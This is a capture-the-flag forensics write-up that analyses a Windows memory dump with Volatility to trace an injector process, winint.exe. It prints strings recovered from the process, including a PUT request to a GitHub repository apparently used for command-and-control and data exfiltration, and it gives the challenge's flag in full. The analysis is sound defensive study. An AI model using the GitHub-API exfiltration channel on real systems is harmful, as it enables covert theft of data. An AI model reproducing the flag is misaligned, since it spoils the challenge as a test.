Back to writeups
FlagYardforensicsHardsolved

Klay

12 Jul 2026 · by 0xIDA

Solvers

Klay

Author: 0xIDA
Platform: FlagYard · Category: forensics · Difficulty: Hard

Solvers

Summary

Windows 10 crash-dump forensics. Suspicious winint.exe (C:\temp\winint.exe) appears to be injector malware (Cobalt Strike–related Defender hits in dump). Process dump of PID 4672 reveals GitHub API C2/exfil to Marwan18/API, including upload of flagyard_hooking.rar.lnk. The rar on that repo holds winint.exe, temp.dll, and a file whose name is Base64(flag).

Solution

Step 1: Identify dump + profile

memory.dmp — MS Windows 64bit crash dump, NT 19041
vol -f memory.dmp windows.info

Step 2: Suspicious process

windows.pslist / windows.cmdline:

  • winint.exe PID 4672 — "C:\temp\winint.exe" (parent explorer)
  • Earlier short-lived winint PID 6756
  • Strings: Defender Cobalt Strike signatures, path c:\temp\winint.exe, PDB injector.pdb

Step 3: Dump process memory

vol -f memory.dmp -o dumps windows.memmap --pid 4672 --dump

Strings in pid.4672.dmp:

https://api.github.com/repos/Marwan18/API/contents/flagyard.txt
https://api.github.com/repos/Marwan18/API/contents/flagyard_hooking.rar.lnk
PUT /repos/Marwan18/API/contents/flagyard_hooking.rar.lnk
User-Agent: MyApp

Step 4: Follow GitHub repo

flagyard.txt → "keep Going \0/"
flagyard_hooking.rar → extract:
  RmxhZ1l7YWJjYTg0MTc4Mjg2YzA4YjQ1ZWY3ZWM5MzMyMWI5MTh9.txt
  temp.dll
  winint.exe
  flagyard.txt
  RmxhZ1l7.../ (dir)

Step 5: Decode filename

import base64
base64.b64decode("RmxhZ1l7YWJjYTg0MTc4Mjg2YzA4YjQ1ZWY3ZWM5MzMyMWI5MTh9")
# FlagY{abca84178286c08b45ef7ec93321b918}

Flag

FlagY{abca84178286c08b45ef7ec93321b918}

Live submit: success.

Tools

  • Volatility 3 (windows.info, pslist, cmdline, memmap --dump)
  • strings on process dump
  • curl GitHub raw/API
  • unrar + base64

Pitfalls

  • Flag not in cleartext in the memory image
  • GitHub API traffic in process memory is the pivot
  • Decoy flagyard.txt says “keep Going”; real flag is the rar entry name (Base64)